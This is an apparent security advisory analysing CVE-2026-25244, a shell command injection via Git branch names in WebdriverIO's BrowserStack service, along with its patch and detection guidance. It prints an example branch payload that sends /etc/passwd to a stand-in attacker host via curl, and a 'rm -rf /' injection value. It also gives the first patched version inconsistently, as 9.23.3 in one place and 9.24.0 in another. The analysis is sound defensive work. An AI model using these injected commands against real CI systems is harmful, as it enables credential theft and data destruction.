Introduction
A single unsanitized Git branch name is enough for remote code execution on any CI/CD server or developer machine that runs WebdriverIO's BrowserStack integration for test orchestration. With roughly 2.67 million weekly npm downloads and 564 dependent packages, the blast radius of CVE-2026-25244 covers a significant portion of the JavaScript testing ecosystem.
WebdriverIO is an open-source test automation framework for Node.js that supports unit, component, and end-to-end testing using WebDriver, WebDriver BiDi, and Appium. It is one of the most widely adopted browser and mobile testing frameworks in the JavaScript ecosystem, with 9.8k GitHub stars and deep integration into enterprise CI/CD pipelines. Its @wdio/browserstack-service package integrates with BrowserStack's cloud testing infrastructure, including a "smart selection" feature that uses Git metadata to decide which tests to run.
Technical information
Root cause
The vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command. The flaw is in the getGitMetadataForAISelection() function in packages/wdio-browserstack-service/src/testorchestration/helpers.ts, at line 204 in the vulnerable version.
During test orchestration, this function extracts Git metadata for BrowserStack's smart test selection feature. It runs Git commands with Node.js's execSync() and interpolates user-controlled values, specifically Git branch names, directly into the command string it passes to execSync(). Because execSync() invokes a system shell (/bin/sh on Unix), the shell interprets any metacharacters in those values instead of treating them as literal strings.
Git's branch naming rules are permissive enough to allow characters that act as shell metacharacters, including semicolons, pipe operators, backticks, and $() constructs. An attacker who controls a branch name can therefore embed arbitrary shell commands that execute when the vulnerable function processes the repository.
A vulnerable line in the pre-patch code looked like this:
const changedFilesOutput = execSync(`git diff --name-only ${baseBranch}..${currentBranch}`).toString().trim()
If currentBranch contained a value like main;curl attacker.com/exfil?data=$(cat /etc/passwd), the shell would treat the semicolon as a command separator and execute the injected curl command.
Attack flow
-
The attacker creates a Git repository with a branch name that contains shell metacharacters and an embedded payload, for example an injected command that downloads and executes a script, exfiltrates secrets, or creates a reverse shell.
-
The malicious repository reaches the target's pipeline through the
testOrchestrationOptions.runSmartSelection.sourceconfiguration parameter. If this parameter is unset, WebdriverIO defaults to the current working directory, so any cloned repository with a malicious branch name could trigger the vulnerability. -
When WebdriverIO's BrowserStack service runs test orchestration and invokes
getGitMetadataForAISelection(), the function callsexecSync()with the unsanitized branch name interpolated into the command string. -
The system shell parses the command string, hits the metacharacters in the branch name, and executes the attacker's commands with the privileges of the Node.js process.
-
Depending on the payload, the attacker can then exfiltrate CI/CD secrets and credentials, steal SSH keys and source code, compromise the build server, or tamper with build artifacts to conduct supply-chain attacks.
Severity context
The CVSS 9.8 score reflects that the vulnerability requires no authentication, has low attack complexity, and is exploitable over a network. Its impact covers the confidentiality, integrity, and availability of the affected system.
Patch information
The fix is commit 0e6748ec, authored by Christian Bromann on February 1, 2026, with the message fix(browserstack): better handle malicious branch names (#15069). It first landed in @wdio/browserstack-service version 9.23.3 and was also included in the v9.24.0 release, published February 10, 2026. The patch modifies one file, packages/wdio-browserstack-service/src/testorchestration/helpers.ts, with 102 additions and 22 deletions.
It addresses the root cause with two complementary strategies.
Strategy 1: Replacing execSync with spawnSync
The most important change replaces the shell-invoking execSync with spawnSync, which takes the executable and its arguments as separate array elements and does not invoke a shell:
-import { execSync } from 'node:child_process' +import { spawnSync } from 'node:child_process'
To centralize this, the patch adds a safeGitCommand wrapper:
function safeGitCommand(args: string[], cwd?: string): string { const result = spawnSync('git', args, { cwd, encoding: 'utf-8', maxBuffer: 10 * 1024 * 1024 }) if (result.error) { throw result.error } if (result.status !== 0) { throw new Error(result.stderr || `Git command failed with status ${result.status}`) } return result.stdout.trim() }
Every former execSync(...) call now goes through this wrapper with array-based arguments:
-const changedFilesOutput = execSync(`git diff --name-only ${baseBranch}..${currentBranch}`).toString().trim() +const changedFilesOutput = safeGitCommand(['diff', '--name-only', `${baseBranch}..${currentBranch}`])
Because spawnSync never invokes a shell, a baseBranch value like ; rm -rf / reaches git as a literal string argument. Git fails with a "bad revision" error, and the injected command never runs.
Strategy 2: Git reference validation via isValidGitRef
As defense in depth, the patch adds a strict allowlist regex that validates every Git reference before use:
const SAFE_GIT_REF_PATTERN = /^[a-zA-Z0-9_./-]+$/ function isValidGitRef(ref: string): boolean { if (!ref || ref.length === 0 || ref.length > 256) { return false } return SAFE_GIT_REF_PATTERN.test(ref) }
The regex permits only alphanumeric characters, dots, underscores, forward slashes, and hyphens, so any ref containing shell-dangerous characters fails validation. The 256-character length limit also guards against excessively long or crafted inputs.
The patch applies this check at every critical boundary. In getGitMetadataForAISelection, for example, the function validates the current branch name immediately after retrieving it:
+if (!isValidGitRef(currentBranch)) { + log.warn(`Invalid current branch name detected: ${currentBranch}. Skipping this folder for security reasons.`) + process.chdir(originalDir) + continue +}
Similar guards cover the base branch, commit hashes, and parent commit hashes during diff operations. In each case, the code logs an invalid ref and skips it instead of processing it.
Together, the two strategies are textbook secure coding. spawnSync eliminates the injection vector at the execution layer, and isValidGitRef rejects malicious input before it reaches any execution path. If one layer were somehow bypassed, the other would still provide independent protection.
Detection methods
Dependency scanning and SCA tools
The most practical way to detect CVE-2026-25244 is with Software Composition Analysis (SCA) tooling. The vulnerability is cataloged in all major advisory databases:
- The GitHub Advisory Database tracks it under GHSA-5c46-x3qw-q7j7, so Dependabot alerts will automatically notify repository owners who depend on the affected package.
- The GitLab Advisory Database (GLAD) has an entry for this CVE and recommends GitLab Dependency Scanning.
- npm audit flags this vulnerability because it draws from the GitHub Advisory Database. Running
npm auditin any project with@wdio/browserstack-servicein its dependency tree will surface the advisory. - Commercial SCA platforms, including Tenable, Snyk, and Miggo Security, all carry entries for this CVE.
The version check is simple. Any installation of @wdio/browserstack-service at version 9.23.2 or earlier is vulnerable. The first patched version is 9.24.0.
Behavioral and runtime detection
Beyond version scanning, defenders should watch build servers for behavioral indicators:
- The attack relies on branch names that contain shell metacharacters such as
;,${}, backticks, or pipe operators. If your CI/CD pipeline logs the Git branches it checks out, look for branch names with these characters, for example patterns likemain;curlormain;touch. - During normal WebdriverIO test runs with BrowserStack, the
execSynccalls should produce only standard Git output. Unusual child processes spawned during test orchestration, such ascurl,wget,bash, or file creation commands, would be anomalous, and process monitoring (for example auditd on Linux or Sysmon on Windows) can reveal them. - Monitoring for unexpected file creation in temporary directories during CI/CD test runs could surface exploitation attempts.
What is not yet available
There are currently no publicly available Nuclei templates, YARA rules, Sigma rules, or Snort/Suricata IDS signatures tailored to CVE-2026-25244. That is expected, since the vulnerability is a server-side command injection in a build-time npm package rather than a remotely exploitable web endpoint. The CVE is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, and its EPSS score is 0%.
Affected systems and versions
| Component | Status |
|---|---|
@wdio/browserstack-service versions 9.23.2 and below | Vulnerable |
@wdio/browserstack-service version 9.23.3 | First patched version |
@wdio/browserstack-service version 9.24.0 and later | Patched |
The vulnerability affects deployments that use the BrowserStack service's test orchestration feature with smart selection (testOrchestrationOptions.runSmartSelection). Environments without this feature enabled do not reach the vulnerable code path, though upgrading is still recommended as a precaution.
References
- NVD: CVE-2026-25244
- GitHub Security Advisory: GHSA-5c46-x3qw-q7j7
- WebdriverIO Release v9.24.0
- Patch Commit 0e6748ec
- Vulnerable Source Code (helpers.ts, line 204)
- Snyk Vulnerability Entry
- GitLab Advisory Database Entry
- Tenable: CVE-2026-25244
- Miggo Security: CVE-2026-25244
- Resolved Security: CVE-2026-25244
- SecurityOnline: WebdriverIO Command Injection Vulnerability
- Pre-patch helpers.ts (v9.23.2)
- Post-patch helpers.ts (v9.24.0)
- WebdriverIO on npm
- WebdriverIO GitHub Repository



